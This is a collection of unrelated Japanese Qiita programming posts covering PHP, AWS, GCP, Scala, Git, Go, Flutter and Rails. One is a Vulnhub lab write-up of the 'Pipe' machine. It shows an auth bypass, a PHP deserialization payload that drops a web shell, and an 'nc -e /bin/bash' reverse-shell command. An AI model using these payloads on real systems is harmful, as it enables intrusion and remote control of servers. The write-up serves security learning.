OmniAICreator/Qiita-1.07M huggingface dataset:
PHPメモ

```php
###変数の値を表示
var_dump(変数)

###文字列の中の数字を使った計算
$value = "2人"+ "3人";
$valueは【5】

###文字のインク・デクリメント
$str = "a";
$str++;
$strは【b】

###文字列の結合。連結は【+】ではなく【.】を使う
$str = "a"."b"."c";
$strは【abc】

$num = 20;
$value = $num . 77;数字も文字列になる。
$valueは【2077】

###NULLだった場合の初期値を設定
$num = null;
$value = ($num ?? 2);
$valueは【2】

###文字列と数値の比較
"99" == 99 は型を見ないのでtrue
"99" === 99 は型も見るのでfalse

###treu falseのecho
echo true; 【1】
echo false; 【】何も表示されないので注意

###HTMLに適した条件分岐
<?php if(条件式): ?>
 HTMLコード
<?php elseif(条件式): ?>
 HTMLコード
<?php else : ?>
 HTMLコード
<?php endif; ?>

###関数で引数の数が不明な場合
testFunction("名前","吉田","上田","野村");
//2番目以降の引数は$membersに配列で格納される
function testFunc($name,...$members){
    var_dump($members);
}


//引数を固定しない
function testFunc(){//引数を指定しなくてよい
  $all = func_get_args(); //すべての引数を取得
  $numSrgs = func_get_arg() //引数の個数を取得
}
testFunc(10,20,30,40);
###static変数
static $count = 0;
ローカルスコープのみ。関数を抜けても値はクリアされない。

###配列の値を合計する
array_sum(配列);

###変数込みの文字列の出力
$str = "変数";
echo "テスト{$str}文章です";　//変数を{}でくくる。
=>テスト変数文章です。


###フォーマット文字列
符号指定子　+-を付ける
printf('%+d',-10); => -10
printf('%+d',10); =>　+10

パディング指定子　指定の桁数を0で埋める(指定できるのは1文字だけ)
//3桁の余りを0で埋める
printf('番号は%03dです。',3);
=> 番号は003です。　

//0以外の文字で埋める "で囲って、%の後に'を置く
printf("番号%'*6d",4);
=> 番号*****4

//日付に使う
printf('%04d-%02d-%02d,$year,$month,$day);
=> 1993-02-08

//小数点以下を指定する(繰り上げ)
printf('%.2f',10.28438);
=>10.28
printf('%.03f',10.2);
=>10.200

//指定数の文字数で切る
printf('%.5s ...',"TestName");
=>TestN ...

//配列で指定 vprintf()
$data = array($max,$min,$ave);
$format = '最大値%.1f,最小値%.1f,平均値%.1f';
vprintf($format,$data);

###数値をカンマで区切る
number_format(2000);
=>2,000
```
進捗　AWSインフラ構築など

1■AWSについて学習
-
引き続きAWSインフラ構築入門について学習
・webサーバ・ロードバランサー（alb）の構築と動作の確認
→Hello Worldのみのindex.htmlを用意し、pythonによるapache利用と動作の確認
→webサイトはしっかりと動作
・DBサーバの構築-rds
・ストレージの構築-S3
→テストファイルをwebサーバからアップロードし、確認

ネットワークの学習やCCNAの為のciscoルータの操作経験が活き、サクサク進んだ。
入門書が一通り終わったら、apacheでしっかり設定を行って動作させたい。
2■jqueryについて学習
-
htmlなどのwebサイトには凝らない予定だったけど、
時間があったのでprogateを初級～中級序盤までやってみた。
気が向いたらまたやってみようと思う。

3■ネスぺの学習
-
アプリケーション層について
HTTP,SMMTP,POP3,IMAP4,DNS,DHCP,SNMP,その他について学習
理解の甘い部分を再確認した。

以上
GCPを最速で学んでみた

## はじめに
Google Cloud Platform（GCP）をUdemy教材で学んでみた。
[最速で学ぶ - Google Cloud Platform（GCP）入門完全攻略コース](https://www.udemy.com/course/google-cloud-platform-jp/)
　講師：中村祐太氏
　時間：6時間のオンデマンドビデオ、他リソースあり

## 概要
- GCPの無料枠（3か月間の無料トライアル）を利用して、流れに沿って学習することでGCPの基本を学習する。
- GCPとは何か？といった基本からスタートし、まずは技術要素をおさえる。
    - Compute Engine（VM環境）
    - VPCネットワーク（仮想ネットワーク）
    - GCS（Google Cloud Storage）
    - Cloud SQL（DBMS）
    - LAMP（Linux/Apache/MySQL/PHP）、WordPress
- 上記技術要素を使って可用性の高いシステムを構築。
    - 初めにシングル構成を作成。その後、LB（Google Cloud Load Balancing）による負荷分散を行い、最後にCloud SQLによるHAクラスタ構成の構築までを実施。
    - インスタンステンプレートを使用して効率的に冗長構成を構築するなど、実用的な内容。
    - 別途費用かかるがドメイン取得してDNSの設定も実施する。（任意）

## 所感　★★★★★
- 淡々とした解説ではあるものの、コンパクトで厳選されたコンテンツとなっている。
- 本教材により、GCPの基本的な内容はおさえられたと思う。
Scalaの実行環境構築方法とsbtの使い方

## 環境

```
$ docker --version
Docker version 20.10.5, build 55c4c88
$ docker-compose --version
docker-compose version 1.28.5, build c4eb3a1f
```

## 実行環境構築（簡略版）

次の docker-compose.yml を作れば終わりです。[hseeberger/scala-sbt イメージ](https://hub.docker.com/r/hseeberger/scala-sbt/)には latest タグがないので、きちんと指定する必要があります。

```yml
version: '3'
services:
  scala:
    image: hseeberger/scala-sbt:8u222_1.3.5_2.13.1
    tty: true
    volumes: [".:/work"]
```

## 実行環境構築（詳細版）

Docker Hub にある [hseeberger/scala-sbt](https://hub.docker.com/r/hseeberger/scala-sbt/) イメージを使って構築するのがいいと思います。こちらのイメージは 1,000 万以上のダウンロード数と 148 個のスターを獲得しており、Scala を動かす環境としては安心できると思います。

sbt というのは、Scala プロジェクトの作成やパッケージ管理、ビルドを簡単に行うためのツールセットです。おそらく Scala でのデファクトスタンダードだと思います。

次の docker-compose.yml を作成します。`tty: true` を設定している理由は、コンテナの端末に入る必要があるからです。`volumes: [".:/work"]` の意味は、docker-compose.yml の存在するディレクトリを、コンテナ内の /work ディレクトリにマウントするという意味です。

```yml
version: '3'
services:
  scala:
    image: hseeberger/scala-sbt:8u222_1.3.5_2.13.1
    tty: true
    volumes: [".:/work"]
```


上記ファイルを作成後、次のコマンドを実行して Docker コンテナを立ち上げます。

```
docker-compose up -d
```

立ち上げたあと、`docker ps` を実行してコンテナ ID を確認します。

```
$ docker ps
CONTAINER ID   IMAGE                                     ...
ec9c762bf36a   hseeberger/scala-sbt:8u222_1.3.5_2.13.1   ...
```

コンテナ ID を確認後、次のようにコマンドを実行してコンテナ内に入ります。プロンプトが `root@ec9c762bf36a:~#` に変わると成功です。

```
$ docker exec -it ec9c762bf36a bash
root@ec9c762bf36a:~# _
```

/work ディレクトリに移動して、先ほど作成した docker-compose.yml があることを確認します（簡略化のために、プロンプトの表示は `#` に省略しています）。

```
# cd /work
# ls
docker-compose.yml
```

このディレクトリとホスト側のディレクトリは同期しているため、この中で作成したファイルは両方から閲覧、修正できます。

これで環境が整いました。`sbt --version` コマンドを実行して sbt が使えることを確認します。

```
# sbt --version
sbt version in this project: 1.3.5
sbt script version: 1.3.5
```

## sbt の使い方

公式ドキュメント（日本語）は[こちら](https://www.scala-sbt.org/1.x/docs/ja/Hello.html)にあります。

次のコマンドを実行するとプロジェクトを作成できます。`sbt/scala-seed.g8` というのは、おそらく GitHub の URL のパス部分を表すのだと思います。実体は[こちら](https://github.com/sbt/scala-seed.g8)だと思います。

```
# sbt new sbt/scala-seed.g8
```

上記コマンドを実行すると、プロジェクト名をどうするかについてだけ聞かれます。何も入力せずにエンターキーを押すことで、デフォルトの名前が使用されます。

プロジェクトの作成が終わると、現在のディレクトリに scala-seed-project という名前のディレクトリが生成されます。

このディレクトリに移動後、`sbt` コマンドを実行します。これにより、sbt のシェルが立ち上がります。初回実行時は立ち上がるのに数分ほどかかります（たくさんの .jar ファイルがダウンロードされる）が、2回目以降はすぐに立ち上がります。

```
# cd scala-seed-project
# sbt
...
sbt:Scala Seed Project> _
```

このシェル内で `run` を実行すると、プロジェクトがビルドされて実行されます。シェルに入らずとも `sbt run` を実行することでプロジェクトのビルドと実行が可能ですが、この方法だと毎回 Java VM の立ち上げが行われるため時間がかかるとのことです（うろ覚え）。

ファイルを編集するたびに毎回 `run` を実行するのは面倒です。sbt では、コマンドの頭に `~` をつけるだけで、「`~` の後にあるコマンドを、ファイル内容が変わるたびに実行する」というふうにしてくれます。具体的には、ファイルを編集するたびに `run` コマンドを実行したい場合は `~run` を実行します。

```
> ~run
1. Waiting for source changes in project root... (press enter to interrupt)
_
```

## sbt のパッケージ管理

sbt では、パッケージの追加をコマンドだけで行うことはできません。build.sbt というプロジェクトのルートにあるファイルを編集することでパッケージの追加、修正を行います。

このあたりはまだ調べ切れていないため、時間があるときに調べようと思います。
Linux で AirPods などの Bluetooth イヤホンの音量が小さすぎる問題

Linux で AirPods を使うと音量を最大にしても音が小さすぎます。
これは AirPods などの比較的新しい Bluetooth ヘッドセットの音量は AVRCP の `Absolute Volume` という仕組みを使って調節しなければならないのが、Linux 側のサウンドサーバーがそれに対応していないことによるものです。

# コマンドラインから AVRCP で音量を調節するスクリプト
`bluetoothd` のオプションに `--noplugin=avrcp` を指定して AVRCP を無効にしてしまうという手 ([bluetooth - Extremely low volume with AirPods (Ubuntu 19.10) - Ask Ubuntu](https://askubuntu.com/questions/1222666/extremely-low-volume-with-airpods-ubuntu-19-10)) もありますが、  AirPods の場合バッテリーが減ってきた際の通知音が**めちゃくちゃでかい音**で鳴ったり、ダブルタップが効かなくなったりして不便です。
そこで AVRCP を使って音量を調節する簡単な Python スクリプトを作りました。
AirPods 以外の Bluetooth ヘッドセットでも使用できます。

```python:vol.py
#!/usr/bin/env python3

import dbus
import sys

DBUS_OM_IFACE = 'org.freedesktop.DBus.ObjectManager'
DBUS_PROP_IFACE = 'org.freedesktop.DBus.Properties'
BLUEZ_SERVICE_NAME = 'org.bluez'
BLUEZ_MT_IFACE = 'org.bluez.MediaTransport1'

VOL_STEP = 5

def usage():
  print("""Usage:
    {0}             Show volume
    {0} <value>     Set volume to <value> (0-127)
    {0} inc         Increase volume
    {0} dec         Decrease volume""".format(sys.argv[0]), file=sys.stderr)
  sys.exit(1)

def main():
  if len(sys.argv) > 2:
    usage()

  bus = dbus.SystemBus()

  om = dbus.Interface(bus.get_object(BLUEZ_SERVICE_NAME, '/'), DBUS_OM_IFACE)
  objects = om.GetManagedObjects()
  path = None

  for obj, props in objects.items():
    if BLUEZ_MT_IFACE in props.keys():
      path = obj
      break

  if path is None:
    print('No device exists', file=sys.stderr)
    sys.exit(1)

  vol_now = props[BLUEZ_MT_IFACE]['Volume']

  if len(sys.argv) == 2:
    if sys.argv[1] == 'inc':
      vol = vol_now + VOL_STEP
    elif sys.argv[1] == 'dec':
      vol = vol_now - VOL_STEP
    elif sys.argv[1].isdecimal():
      vol = sys.argv[1]
    else:
      usage() 

    print('{} -> {}'.format(vol_now, vol))

    obj = bus.get_object(BLUEZ_SERVICE_NAME, path)
    props = dbus.Interface(obj, DBUS_PROP_IFACE)
    props.Set(BLUEZ_MT_IFACE, 'Volume', dbus.types.UInt16(vol))
  else:
    print(vol_now)

if __name__ == '__main__':
  main()
```

## 使い方
Bluetooth ヘッドセットを繋いだあと、予めシステムの音量を最大にしておきます。（音量はヘッドセット側で調節されるため）

### 現在の音量を表示する
```
$ ./vol.py
20
```

### 音量を設定する
0 から 127 までの値を指定できます。

```
$ ./vol.py 30
20 -> 30
```

### 音量を上げる
```
$ ./vol.py inc
30 -> 35
```

### 音量を下げる
```
$ ./vol.py dec
35 -> 30
```
[Swift5]MessageUIを用いたメール機能（お問い合わせ機能）の実装方法

## やりたいこと
今回はMessageUIを用いたメール機能の実装方法を紹介します。

`メール機能 == お問い合わせ機能`として扱えるかと思います。
ユーザー情報を管理する場合、通報機能としても代用できるのでぜひ参考にしてください！

## 使用するライブラリ
```swift
import MessageUI
```

## コード紹介

今回はお問い合わせボタンが存在すると仮定して紹介します。
`@IBAction func tapMailButton(_ sender: Any)`はお問い合わせボタンがタップされると呼ばれます。

```swift
// お問い合わせボックスをタップすると呼ばれる
@IBAction func tapMailButton(_ sender: Any) {

  // メールを送信できるかどうかの確認
  if !MFMailComposeViewController.canSendMail() {
    print("Mail services are not available")
    return
  }
        
  // インスタンスの作成とデリゲートの委託
  let mailViewController = MFMailComposeViewController()
      mailViewController.mailComposeDelegate = self
        
  // 宛先の設定（開発者側のアドレス）
  let toRecipients = ["ここにユーザーから受信するメールアドレスを入力"]
        
  // 件名と宛先の表示
  mailViewController.setSubject("開発者側で設定する件名")
  mailViewController.setToRecipients(toRecipients)
  mailViewController.setMessageBody("開発者側で設定する本文", isHTML: false)
       
  // mailViewControllerの反映（メール内容の反映）
  self.present(mailViewController, animated: true, completion: nil)
}
```
これでメールの設定は完了です。

次にメールを開いた後の結果でアクションを分岐します。

```swift
// メール機能終了処理
func mailComposeController(_ controller: MFMailComposeViewController, didFinishWith result: MFMailComposeResult, error: Error?) {
        
  // メールの結果で条件分岐
  switch result {
        
  // キャンセルの場合
  case .cancelled:
    print("Email Send Cancelled")
    break
            
  // 下書き保存の場合
  case .saved:
    print("Email Saved as a Draft")
    break
            
  // 送信成功の場合
  case .sent:
    print("Email Sent Successfully")
    break
            
  // 送信失敗の場合
  case .failed:
    print("Email Send Failed")
    break
  default:
    break
  }

  //メールを閉じる
  controller.dismiss(animated: true, completion: nil)
}
```

これでMessageUIを用いたメール機能（お問い合わせ機能）の実装は完了です。
アドレスや、件名や本文を自身で触ってみると楽しいですよ！

## 備考
メール機能はXcodeのシュミレーターでは動かないので、動作確認は実機で行うようにして下さい。
そうだったのか、Qiitaのマークダウン！

#はじめに
Qiita記事を書き始めて、5ヶ月以上経ちました。お陰で、マークダウン記法については、普段使う分には苦労することがないレベルまで理解することができました。使う頻度が低いものに関しては、サッと調べれば大丈夫な感じです。
初めは記号に悪戦苦闘しました。


「マークダウン」の言葉の意味なんて考えたことがありませんでした。マークアップの反対がマークダウンなんですね！HTMLはマークアップ言語です。そのマークアップ言語を簡単に書けるようにしたのが、マークダウン。
何が言いたいかというと、このQiitaの本文にマークダウン記法を使わずに、マークアップ、つまりHTMLで記述できるということです。
驚きでした。（当たり前のことだと感じていたら、すみません）

ということは、
こんなことができるということです！！

##画像のサイズを変えたい

画像を貼り付けるときは、いつも

```markdown
![](ここに画像のurl)
```
を使っていました。
試すとこんな感じです。
↓
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/741816/a066e135-dbaf-45f8-0287-8d3c1335a0b8.png)

で、時々画像が大きすぎるときがありました。
マークダウン記法には画像のサイズを変える方法がないので諦めていましたが、
HTMLで書けるのであれば、話が変わります！！

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/741816/a066e135-dbaf-45f8-0287-8d3c1335a0b8.png" width=25%>

小さくできる〜！！

記述方法は、

```html
<img src"ここに画像のurl" width=サイズ(%やpxなど)>
```

##最後に
マークダウンって、マークアップを簡単に書けますよってことだったんですね！
記事の投稿にあたり、h1タグなども試しましたが、圧倒的にマークダウンが楽だと気づかせてくれました。
rails&vueでherokuにデプロイする際に参考になったこと

## はじめに
Rails 6.0.3.5
ruby 2.6.5
yarn 1.22.10
にてデプロイを実行した。

## アプリ概要
投稿サイト
・jwtによるログインログアウト機能
・投稿機能（ログイン後投稿可、投稿者のみ削除編集可）
・プロフィール編集機能

## エラー内容
デプロイは成功し、
ログイン機能は正常に動いたのだが、
POST機能、EDIT機能を行う際に、
検証ツールのconsoleにて、

```
４０１ Unauthorized
```
エラーが出現、

なぜ、ログインしているにも関わらず401が出現するのか、

```
protect_from_forgery with: :null_session
```
になっていることを確認し、

```
skip_before_action :verify_authenticity_token
```
を追加。

すると、今度は、　

```
500 (Internal Server Error)
```
が出現、

```
$ heroku logs
```
にてエラー内容を確認したところ、

```
undefined method `post' for nil:NilClass
```
というエラー内容、
また、プロフィール編集時のエラーは、

```
undefined method `update' for nil:NilClass
```
となりました、、、

# 原因検索１
ローカル環境で動いているため、
[post]や[update]が定義されていないということは考えにくい。

```
def create
    post = current_user.posts.create!(post_params) #ここのcurrent_user
    render json: post, serializer: postSerializer
  end
```
postする前のcurrent_userが渡っていなと推測。

なぜcurrent_userが取れていないのか、
local環境とproduction環境の違いをチェック。

config/enviroments/development.rbとproduction.rbの違いを確認した。
認証に関わりそうな部分はなく、
特にここが原因ではないみたい。

# 原因検索２
jwtが送信できているかを、ブラウザ検証ツールのnetworkタブで確認する.
Authorization: Bearer にて、トークンが到達していることを確認。


# 原因検索３
ローカル環境で、問題なく動いているため、
再度、herokuにて問題がないことを確認、
herokuのsettings/Reveal Config Varsにて、、、、、


master_keyの設定をしていませんでした。。。

secret_key_baseを設定し安心し切っていましたが、
思わぬところに原因がありました。

# 補足
rails & vueのデプロイ
（herokuにpushした後）につきましては、
ログアウト　→　ログインをしてから、挙動を確かめるようにしましょう。

# 最後に
初心者のうちは思いもよらないところにミスがある可能性が高いので、
深読みしすぎず、やるべきことをしっかりやってあるかの確認を、
怠らないように気をつけたいと思います。

ご視聴いただきありがとうございます。
誰かの役に立てば幸いです。
GitにおけるRails Tutorialになかった注意点！（in チーム開発の学び）

# はじめに
これは実務と同じ方式で行うチーム開発体験学習で、
GitHubを利用する際、現役の先輩エンジニアにご指摘いただいた内容です。
それまで私は全く考えてこなかったことですが、セキュリティを考えると当然のことです。

# 目次
<!-- タイトルとアンカー名を編集 -->
1. [gitに記録してはいけないもの](#Chapter1)
2. [もし実務でやったらセキュリティインシデント（アカンやつ）](#Chapter2)
3. [次からは気をつけよう。ネットに放流した鍵はもう安全ではない。](#Chaprter3)

<!-- 各チャプター -->
<a id="#Chapter1"></a>
# gitに記録してはいけないもの
端的に言うと下記2つのファイル

・ config/credential.yml.enc
・ config/master.key

これらをgitに記録してしまい、
あまつさえGitHubにプッシュしてしまいました。
やっちまったなあ！

<a id="#Chapter2"></a>
# もし実務でやったらセキュリティインシデント
こちらをご覧ください

https://techtechmedia.com/whats-credential-yml/

つまり、秘密情報を管理する仕組みとその鍵を自分は公衆の面前に晒してしまったわけですね。
これが仕事だったらもう大変なことです。

<a id="#Chapter３"></a>
# ネットに放流した鍵はもう安全ではない。対策方法は？

GitHubに一度上げてしまったことを完全に戻すのは以下の方法を取らないといけないみたいです。

https://qiita.com/dtan4/items/34e41e3bd40a43fd8cbf

しかし、これも結局は悪用する人が先にセンシティブファイルを発見したら終わりなわけで…
こんなことにならないよう、普段から大事なファイルはgitignoreに書き込んでおきましょう！
Laravel：プロジェクト内で定数を使う方法

# 概要
Laravelで定数を管理したい時にどうすればいいかわからなかったので備忘録にする

## 結論

①app/config/配下に定数用のファイルを作る
②定数を呼び出す場合`config('ファイル名.定数名')`とすればOK

## 例
例えばapp/config/配下に`const.php`を作る

```php:const.php
<?php
return [
  //'定数名' => '出力したい値',
    'FILE_URL' => 'public/file', 
];
```

コントローラーから定数を呼び出す場合`config('ファイル名.定数名')`とすればOK

```php:TestController.php

$url = config('const.FILE_URL');
```

## .envの定数を呼び出す場合

envの定数を使いたい場合下記のように行う

```.env
MAIL_FROM_ADDRESS=test@gmail.com
```

app/config/app.phpに以下のような形式で追記する
'定数名' => env('envに記載している定数名', 'デフォルト値),

```php:app.php
'email' => env('MAIL_FROM_ADDRESS', 'test@gmail.com'),
```
呼び出す場合は`config('app.定数名')`とすればOK

```php:TestController.php
$sendEmail = config('app.email');
```

以上となります。
【Git】納品用差分ファイルzip化 windows 




###差分ファイルZIP化

```
git archive ブランチ名 (git diff --name-only from-commitID to-commitID --diff-filter=ACMR) -o archive.zip
```
※--name-only は、差分の内容ではなくファイル名のみをリスト出力するオプション
※-o では出力するファイル名を指定
※filter=d で、削除されたファイルはリストに出力させないようにしておく
※–diff-filter=ACMR「A=追加、C=コピー、M=変更、R=リネーム」
参考：
https://www.tam-tam.co.jp/tipsnote/program/post12992.html
https://www.granfairs.com/blog/staff/git-archivediff

####【補足】
⚠下記だとなぜかできない

```
git archive ブランチ名 `git diff --name-only from-commitID to-commitID --diff-filter=ACMR` -o archive.zip
```
原因：バッククウォートを使うと以下エラーが起こるみたい
```error: unknown option `name-only'```

解決法：バッククウォートの代わりに()を使用したら動作した
【Git】エイリアス設定　

####git エイリアス 何を設定したか確認
```git config --global --list | grep ^alias\.```


####"com" = "commit -m"
```git config --global alias.com "commit -m"```


####"st" = "status"
```git config --global alias.st status```


####"br" = "branch"
```git config --global alias.br branch```


####"mg" = "merge --no-ff (取り込みたいブランチ名)"
```git config --global alias.mg "merge --no-ff"```


参考：https://dev.classmethod.jp/articles/git-config-alias-19/
Bootstrapをnodejsで利用するために調べたこと

##BootStrap使ってカッコつけたい
今回、掲示板アプリ作成してます。
javascriptとhtmlとcssで出来ないこともないけど、せっかくならプラスオンして新しい技術に触れたいと思い、色々調べた結果bootstrapにたどり着きました。

ドキュメントを読んでサラッと使えると思いきや、
豪快につまづいてもがいていました。
###「webpack」が必要みたい。
今回の引用と参考サイトはこちらです。
神の手が差し出された瞬間です。
とってもわかりやすかった。
[最新版で学ぶwebpack 5入門 Bootstrapをバンドルする方法](https://ics.media/entry/17749/)

webpackは簡単に言えば、複数のJavaScriptを1つにまとめること。
1つにまとめることができれば、htmlやejsへの適用もシンプルになります＾＾
javascriptだけではなく、sassファイルやcssファイルもloaderと呼ばれるモジュールをインストールすることで,webpackで1つにまとめることが出来る優れものです。

今回、bootstrapをnode.jsに適用するまでの3ステップをメモ
###1.モジュールのインストール

```
npm i -D webpack webpack-cli style-loader css-loader
```

###2.bootstrapを動かすためのライブラリをインストール

```
npm i -S bootstrap jquery popper.js
```
ドキュメントにはjqueryとpopperに依存しているので、言われるがままにインスト

###3.webpackの設定と実行
webpack.config.jsにファイルの処理方法を記述します。
ここでは、単純に調理方法を記載していると考えてください。

```javascript

module.exports = {
  // モード値を production に設定すると最適化された状態で、
  // development に設定するとソースマップ有効でJSファイルが出力される
  mode: "production",
  module: {
    rules: [
      {
        // 対象となるファイルの拡張子(cssのみ)
        test: /\.css$/,
        // Sassファイルの読み込みとコンパイル
        use: [
          // スタイルシートをJSからlinkタグに展開する機能
          "style-loader",
          // CSSをバンドルするための機能
          "css-loader"
        ],
      },
    ],
  },
};
```

次に食材を用意します。

srcフォルダー内にindex.jsファイルを作成。
index.jsファイルにはimport文を用いて、Bootstrapを取り込みます。


```javascript

// Bootstrapのスタイルシート側の機能を読み込む
import "bootstrap/dist/css/bootstrap.min.css";

// BootstrapのJavaScript側の機能を読み込む
import "bootstrap";
```

最後に食材と調理方法が準備できれば早速調理開始です。

```
npx webpack
```

と実行すると、
'dist'フォルダが生成され、一つになったjsファイルが生成されます。
これを同じようにhtmlまたはejsファイルに取り込みすれば、環境設定は完了です。
bootstrapドキュメントのレイアウトのコピーを貼り付けすれば、使えるようになります。

###まとめ
かなりざっくりすぎてビックリですが、忘備録として残しておきます。
webpackの記述方法は、後に身につけたいなと思います。
17rep - GolangでMySQLのトランザクションラッパー作成

# 使うシーン
- 一括で複数のInsert Updateで全部成功させないといけないシーン
- リレーションを貼っているテーブルに対してデータの更新や追加などを一括して追加変更しないといけないテーブルが存在するシーン

# Go言語でトランザクション制御
- トランザクション制御のラッパー関数の作成
- トランザクションラッパー関数を開始し、エラーだったらrollbackを実行エラーじゃなければcommit

# Begin()、Commit()、Rollback()が同じ関数内に定義(これは冗長)
- SqlHandlerポインタレシーバからDB接続を定義し同じ関数内で実行

``` go
func (h *SqlHandler) WithTransaction() (err error) {
    tx, err := h.db.Begin()
    if err != nil {
        return
    }
    defer func() {
        if err != nil {
            tx.Rollback()
            return
        }
        err = tx.Commit()
    }()
    if _, err = tx.Exec(...); err != nil {
        return
    }
    if _, err = tx.Exec(...); err != nil {
        return
    }
    // ...
    return
}

func (t *sql.Tx)Exec(...){
    // Insert or Update SQL
    // ...
}
```

# トランザクションラッパー関数
- 実行したい関数を引数 txFuncとして受け取り、トランザクションを開始してからtxFuncを実行
- txFuncの中でerrorもしくはpanicが起きたらdeferでrecoverを使って広い、rollbackを実行
- 問題がなければcommitという流れです。
- トランザクション制御を行う際に、トランザクション境界線がリクエストの開始〜終了となりますが、ラッパー関数方式の場合トランザクション境界を柔軟に変更可能

``` go
func (t *sqlRepository) ExecWithTx(txFunc func(*sql.Tx) error) (err error) {
    tx, err := t.db.Begin()
    if err != nil {
        return
    }
    defer func() {
        if p := recover(); p != nil {
            tx.Rollback()
        } else if err != nil {
            tx.Rollback() 
        } else {
            err = tx.Commit() 
        }
    }()
    err = txFunc(tx)
    return err
}
```

# トランザクションラッパー関数使い方(サンプル)
- 実行したいSQL関数を引数txFunc内に記述

``` go
func (r *Repository) DoSomething() error {
    return r.DB.ExecWithTx(func(tx *sql.Tx) error {
        if _, err := tx.Exec(...); err != nil { // ここにSQL系関数定義
            return err
        }
        if _, err := tx.Exec(...); err != nil { // ここにSQL系関数定義
            return err
        }
        return nil
    })
}
```


# 参考資料
- [参考URL: stackoverflowのdatabase/sql Tx - detecting Commit or Rollback](https://stackoverflow.com/questions/16184238/database-sql-tx-detecting-commit-or-rollback)
- [Go言語でトランザクション制御のラッパー関数を作った話](http://blog.flect.co.jp/cloud/2016/06/go-5c8f.html)
【Vulnhub】/DEV/RANDOM: PIPEをやってみた

#はじめに
ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。そのためポートスキャンや権限昇格といった内容は省略しています。

このブログを参考にしています。こっちの方が分かりやすいかもしれません。
[Pipe - Insecure Deserialization](https://klezvirus.github.io/Misc/HTB-VH-OSWE/reviews/vulnhub/pipe/)

#/dev/random: Pipe
Pipeは、3つのPHPファイルで構成されているWebアプリです。
- サーバ名: /dev/random: Pipe
- リリース日: 2015年10月2日
- 作者: Sagi-
- リリーズ: /dev/random

#ソースコード検証
HTTPアクセスには、ベーシック認証が必要です。
しかし以下のとおり、HTTP Verb Tamperingで認証回避が可能となっています。

```.htaccess
AuthUserFile /var/www/html/.htpasswd
AuthName "index.php"
AuthType Basic
<Limit GET PUT HEAD OPTIONS DELETE>
require valid-user
</Limit>
```
index.phpでは、著者の情報を取得するために`Info`のインスタンスが生成され、POSTパラメータ`param`でシリアライズされたオブジェクトと比較されます。

- HTTP POSTパラメータ`param`が値をチェックされずに`unserialize()`されている。
- index.php内に`import`が2種類ある。
      - info.php
      - log.php
 

```php:index.php（一部省略）
<?php
include 'info.php';
include 'log.php';

$artist = new Info();
$artist->id = 1;
$artist->firstname = 'Rene';
$artist->surname = 'Margitte';
$artist->details = '...';

...
if (isset($_POST['param'])) {
    $info = unserialize($_POST['param']);
    if (strcasecmp($info->firstname, $artist->firstname) == 0 && strcasecmp($info->surname, $artist->surname) == 0){
        echo $artist->details;
    }
}
...
?>
```
info.phpは、メソッドを持たないクラスなのでlog.phpを参照します。

```log.php
<?php
class Log
{
    public $filename = '';
    public $data = '';

    public function __construct()
    {
        $this->filename = '';
        $this->data = '';
    }

    public function PrintLog()
    {
        $pre = "[LOG]";
        $now = date('Y-m-d H:i:s');

        $str = '$pre - $now - $this->data';
        eval("\$str = \"$str\";");
        echo $str;
    }

    public function __destruct()
    {
        file_put_contents($this->filename, $this->data, FILE_APPEND);
    }
}
?>
```

クラス内には、`filename`と`data`の2つの変数があります。
デシリアライズしたインスタンスが破棄されると`data`の内容は`filename`に書きこまれます。
アプリケーションでクラスが定義されているので、デストラクタが攻撃に悪用できます。

1. シリアライズされた`Log`のHTTP POSTがIndex.phpに送信される。
2. index.phpは、unserialize()を呼び出し、デシリアライズで`Log`のインスタンスを作成する。
3. index.phpの呼び出しが終了する。
4. `Log`のインスタンスオブジェクトは呼び出しが終わると破棄される。
5. __destruct()

#Exploitation
シリアライズされた`Info`のインスタンスを書き換えてバックドアを仕込みます。
まずペイロードを作成するgenerate.phpを作ります。

```generate.php
<?php 
class Log
{  
  public $filename="/var/www/html/scriptz/shell.php";
  public $data="<?php system(\$_GET['cmd']);?>";
}
print(urlencode(serialize(new Log))."\n"); 
?>
```
generate.phpを実行します。

```
php generate.php
```
生成されたパラメータをPOSTします。

```
curl -ksi -X POST 'http://pipe.local/index.php' --data-binary 'param=O%3A3%3A%22Log%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A24%3A%22%2Fvar%2Fwww%2Fhtml%2Fshell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A29%3A%22%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%3B%7D'
```

リバースシェルを発動させます。

```
curl http://pipe.local/scriptz/shell.php?cmd=nc+-e+/bin/bash+MY_IP+4444
```

#最後に
安全でないデシリアライゼーションを理解するのにいいマシンだと思います。
Flutterで普通のスワイプで画面をpopする

Flutterで`Navigator.push(context)`して遷移した先の画面で元の画面に戻るときには`Navigator.pop(context)`をアイコンに設置したりエッジスワイプしたりしますよね。
通常のスワイプでも戻したかったのでやり方を見つけるのに少々苦労しましたがなんとかできました。

```Dart
GestureDetector(
  onHorizontalDragUpdate: (details) {
    if (details.delta.dx > 18) {
      Navigator.pop(context);
    }
  },
  child: ・・・,
);
```

このように`GestureDetector.onHorizontalDragUpdate`を設定して横方向のスワイプをトリガーに`navigator.pop(context)`を実行するようにしました。
`details.delta.dx`はスワイプの速度で、正の向きが左→右です。しきい値として設定した`18`を超えると`navigator.pop(context)`を実行します。この値は実機で触りながら調整しました。

## 参考
Flutter公式ドキュメント onHorizontalDragUpdate
https://api.flutter.dev/flutter/widgets/GestureDetector/onHorizontalDragUpdate.html
flutter webがrailsを乗る

## 内容
flutter webで開発したfrontをrails serverでアクセルできるようにする手順

## バージョン
flutter 2.0.1
rails 6.1.3

## 手順
1. flutterをbuildする

flutter projectのフォルダで以下のcommandでbuildすると

```shell
flutter build web
```
フォルダ`build/web`が作成される

2. rails applicationを作成

```shell
rails new flutter-on-rails
rails g controller Home index
```

config/routes.rbを以下のように設定

```ruby
Rails.application.routes.draw do
  root 'home#index'
end
```

3. flutterのbuildしたファイルをrailsにcopy
  * flutter projectのフォルダ`build/web/assets`をrailsの`app/assets/`下にcopy
  * flutter projectのフォルダ`build/web/icons`をrailsの`app/assets/`下にcopy
  * flutterのbuildした`build/web/main.dart.js`ファイルの内容を`railsのapp/javascript/packs/flutter.js`にcopy
  * flutterのファイル`build/web/index.html`の内容でrailsの`app/views/home/index.html.erb`ファイルを上書きする
  * railsの`app/views/home/index.html.erb`ファイルにflutter.jsの参照するようにする

```erb
